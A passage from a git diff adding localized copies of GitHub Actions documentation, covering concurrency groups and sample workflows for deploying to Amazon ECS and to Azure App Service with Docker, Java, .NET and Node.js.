progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group. + +```yaml +name: Deployment + +concurrency: production + +on: + push: + branches: + - main + +jobs: + deployment: + runs-on: ubuntu-latest + environment: production + steps: + - name: deploy + # ...deployment-specific steps +``` + +You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`. + +```yaml +name: Deployment + +on: + push: + branches: + - main + +jobs: + deployment: + runs-on: ubuntu-latest + environment: production + concurrency: production + steps: + - name: deploy + # ...deployment-specific steps +``` + +You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group. + +```yaml +name: Deployment + +concurrency: + group: production + cancel-in-progress: true + +on: + push: + branches: + - main + +jobs: + deployment: + runs-on: ubuntu-latest + environment: production + steps: + - name: deploy + # ...deployment-specific steps +``` + +For guidance on writing deployment-specific steps, see "[Finding deployment examples](#finding-deployment-examples)." + +## Viewing deployment history + +When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)." + +## Monitoring workflow runs + +Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)." + +You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)." + +## Tracking deployments through apps + +{% ifversion fpt or ghec %} +If your personal account or organization on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating Microsoft Teams or Slack, see "[GitHub extensions and integrations](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)." +{% endif %} + +You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see "[Apps](/developers/apps)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)." + +{% ifversion fpt or ghes or ghec %} + +## Choosing a runner + +You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be able to communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." + +{% endif %} + +## Displaying a status badge + +You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %} + +For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." + +## Finding deployment examples + +This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows. + +{% data reusables.actions.cd-templates-actions %} diff --git a/translations/ru-RU/content/actions/deployment/about-deployments/index.md b/translations/ru-RU/content/actions/deployment/about-deployments/index.md new file mode 100644 index 000000000000..1c888407ba83 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/about-deployments/index.md @@ -0,0 +1,20 @@ +--- +title: Сведения о развертываниях +shortTitle: About deployments +intro: 'Узнайте, как выполнять развертывания с рабочими процессами {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-continuous-deployment + - /deploying-with-github-actions +ms.openlocfilehash: 7b789a67d948f6cfd1a940355ef2f6446fb1905f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069949' +--- + diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md new file mode 100644 index 000000000000..abc8392e9667 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md @@ -0,0 +1,180 @@ +--- +title: Deploying to Amazon Elastic Container Service +intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows. +redirect_from: + - /actions/guides/deploying-to-amazon-elastic-container-service + - /actions/deployment/deploying-to-amazon-elastic-container-service +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Containers + - Amazon ECS +shortTitle: Deploy to Amazon ECS +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch. + +On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS. + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and ["Configuring OpenID Connect in Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services). + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS: + +1. Create an Amazon ECR repository to store your images. + + For example, using [the AWS CLI](https://aws.amazon.com/cli/): + + {% raw %}```bash{:copy} + aws ecr create-repository \ + --repository-name MY_ECR_REPOSITORY \ + --region MY_AWS_REGION + ```{% endraw %} + + Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below. + + Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below. + +2. Create an Amazon ECS task definition, cluster, and service. + + For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation. + + Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below. + +3. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository. + + The format of the file should be the same as the output generated by: + + {% raw %}```bash{:copy} + aws ecs register-task-definition --generate-cli-skeleton + ```{% endraw %} + + Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file. + + Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition. + +4. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key. + + For more information on creating secrets for {% data variables.product.prodname_actions %}, see "[Encrypted secrets](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." + + See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials. + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS. + +Ensure that you provide your own values for all the variables in the `env` key of the workflow. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Deploy to Amazon ECS + +on: + push: + branches: + - main + +env: + AWS_REGION: MY_AWS_REGION # set this to your preferred AWS region, e.g. us-west-1 + ECR_REPOSITORY: MY_ECR_REPOSITORY # set this to your Amazon ECR repository name + ECS_SERVICE: MY_ECS_SERVICE # set this to your Amazon ECS service name + ECS_CLUSTER: MY_ECS_CLUSTER # set this to your Amazon ECS cluster name + ECS_TASK_DEFINITION: MY_ECS_TASK_DEFINITION # set this to the path to your Amazon ECS task definition + # file, e.g. .aws/task-definition.json + CONTAINER_NAME: MY_CONTAINER_NAME # set this to the name of the container in the + # containerDefinitions section of your task definition + +jobs: + deploy: + name: Deploy + runs-on: ubuntu-latest + environment: production + + steps: + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + + {% raw %}- name: Configure AWS credentials + uses: aws-actions/configure-aws-credentials@13d241b293754004c80624b5567555c4a39ffbe3 + with: + aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} + aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + aws-region: ${{ env.AWS_REGION }} + + - name: Login to Amazon ECR + id: login-ecr + uses: aws-actions/amazon-ecr-login@aaf69d68aa3fb14c1d5a6be9ac61fe15b48453a2 + + - name: Build, tag, and push image to Amazon ECR + id: build-image + env: + ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} + IMAGE_TAG: ${{ github.sha }} + run: | + # Build a docker container and + # push it to ECR so that it can + # be deployed to ECS. + docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG . + docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + echo "image=$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" >> $GITHUB_OUTPUT +{%- else %} + echo "::set-output name=image::$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" +{%- endif %}{% raw %} + + - name: Fill in the new image ID in the Amazon ECS task definition + id: task-def + uses: aws-actions/amazon-ecs-render-task-definition@97587c9d45a4930bf0e3da8dd2feb2a463cf4a3a + with: + task-definition: ${{ env.ECS_TASK_DEFINITION }} + container-name: ${{ env.CONTAINER_NAME }} + image: ${{ steps.build-image.outputs.image }} + + - name: Deploy Amazon ECS task definition + uses: aws-actions/amazon-ecs-deploy-task-definition@de0132cf8cdedb79975c6d42b77eb7ea193cf28e + with: + task-definition: ${{ steps.task-def.outputs.task-definition }} + service: ${{ env.ECS_SERVICE }} + cluster: ${{ env.ECS_CLUSTER }} + wait-for-service-stability: true{% endraw %} +``` + +## Additional resources + +For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. + +For more information on the services used in these examples, see the following documentation: + +* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation. +* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action. +* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action. +* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action. +* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md new file mode 100644 index 000000000000..29abd3f1068f --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md @@ -0,0 +1,155 @@ +--- +title: Deploying Docker to Azure App Service +intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Containers + - Docker + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +1. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --deployment-container-image-name nginx:latest + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +1. Set registry credentials for your web app. + + Create a {% data variables.product.pat_v1 %} with the `repo` and `read:packages` scopes. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + + Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your {% data variables.product.pat_generic %} from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command: + + ```shell + az webapp config appsettings set \ + --name MY_WEBAPP_NAME \ + --resource-group MY_RESOURCE_GROUP \ + --settings DOCKER_REGISTRY_SERVER_URL=https://ghcr.io DOCKER_REGISTRY_SERVER_USERNAME=MY_REPOSITORY_OWNER DOCKER_REGISTRY_SERVER_PASSWORD=MY_PERSONAL_ACCESS_TOKEN +``` + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy a container to an Azure Web App + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + +on: + push: + branches: + - main + +permissions: + contents: 'read' + packages: 'write' + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v1 + + - name: Log in to GitHub container registry + uses: docker/login-action@v1.10.0 + with: + registry: ghcr.io + username: {% raw %}${{ github.actor }}{% endraw %} + password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + + - name: Lowercase the repo name + run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + + - name: Build and push container image to registry + uses: docker/build-push-action@v2 + with: + push: true + tags: ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} + file: ./Dockerfile + + deploy: + runs-on: ubuntu-latest + + needs: build + + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Lowercase the repo name + run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + + - name: Deploy to Azure Web App + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} + images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}' +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md new file mode 100644 index 000000000000..3f3c3598994f --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md @@ -0,0 +1,133 @@ +--- +title: Deploying Java to Azure App Service +intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Java + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +1. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --runtime "JAVA|11-java11" + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy JAR app to Azure Web App + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + JAVA_VERSION: '11' # set this to the Java version to use + +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up Java version + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: {% raw %}${{ env.JAVA_VERSION }}{% endraw %} + cache: 'maven' + + - name: Build with Maven + run: mvn clean install + + - name: Upload artifact for deployment job + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: java-app + path: '{% raw %}${{ github.workspace }}{% endraw %}/target/*.jar' + + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Download artifact from build job + uses: {% data reusables.actions.action-download-artifact %} + with: + name: java-app + + - name: Deploy to Azure Web App + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} + package: '*.jar' +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md new file mode 100644 index 000000000000..b3729f828dfe --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md @@ -0,0 +1,143 @@ +--- +title: Deploying .NET to Azure App Service +intro: You can deploy your .NET project to Azure App Service as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +2. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --runtime "DOTNET|5.0" + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`. If you use a version of .NET other than `5`, change `DOTNET_VERSION`. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy ASP.Net Core app to an Azure Web App + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root + DOTNET_VERSION: '5' # set this to the .NET Core version to use + +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up .NET Core + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: {% raw %}${{ env.DOTNET_VERSION }}{% endraw %} + + - name: Set up dependency caching for faster builds + uses: {% data reusables.actions.action-cache %} + with: + path: ~/.nuget/packages + key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-nuget-{% endraw %} + + - name: Build with dotnet + run: dotnet build --configuration Release + + - name: dotnet publish + run: dotnet publish -c Release -o {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp + + - name: Upload artifact for deployment job + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: .net-app + path: {% raw %}${{env.DOTNET_ROOT}}{% endraw %}/myapp + + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Download artifact from build job + uses: {% data reusables.actions.action-download-artifact %} + with: + name: .net-app + + - name: Deploy to Azure Web App + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} + package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md new file mode 100644 index 000000000000..a15fa91f0a63 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md @@ -0,0 +1,140 @@ +--- +title: Deploying Node.js to Azure App Service +intro: You can deploy your Node.js project to Azure App Service as part of your continuous deployment (CD) workflows. +redirect_from: + - /actions/guides/deploying-to-azure-app-service + - /actions/deployment/deploying-to-azure-app-service + - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Node + - JavaScript + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +2. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --runtime "NODE|14-lts" + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +on: + push: + branches: + - main + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root + NODE_VERSION: '14.x' # set this to the node version to use + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ env.NODE_VERSION }}{% endraw %} + cache: 'npm' + + - name: npm install, build, and test + run: | + npm install + npm run build --if-present + npm run test --if-present + - name: Upload artifact for deployment job + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: node-app + path: . + + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Download artifact from build job + uses: {% data reusables.actions.action-download-artifact %} + with: + name: node-app + + - name: 'Deploy to Azure WebApp' + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} + package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %} +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data 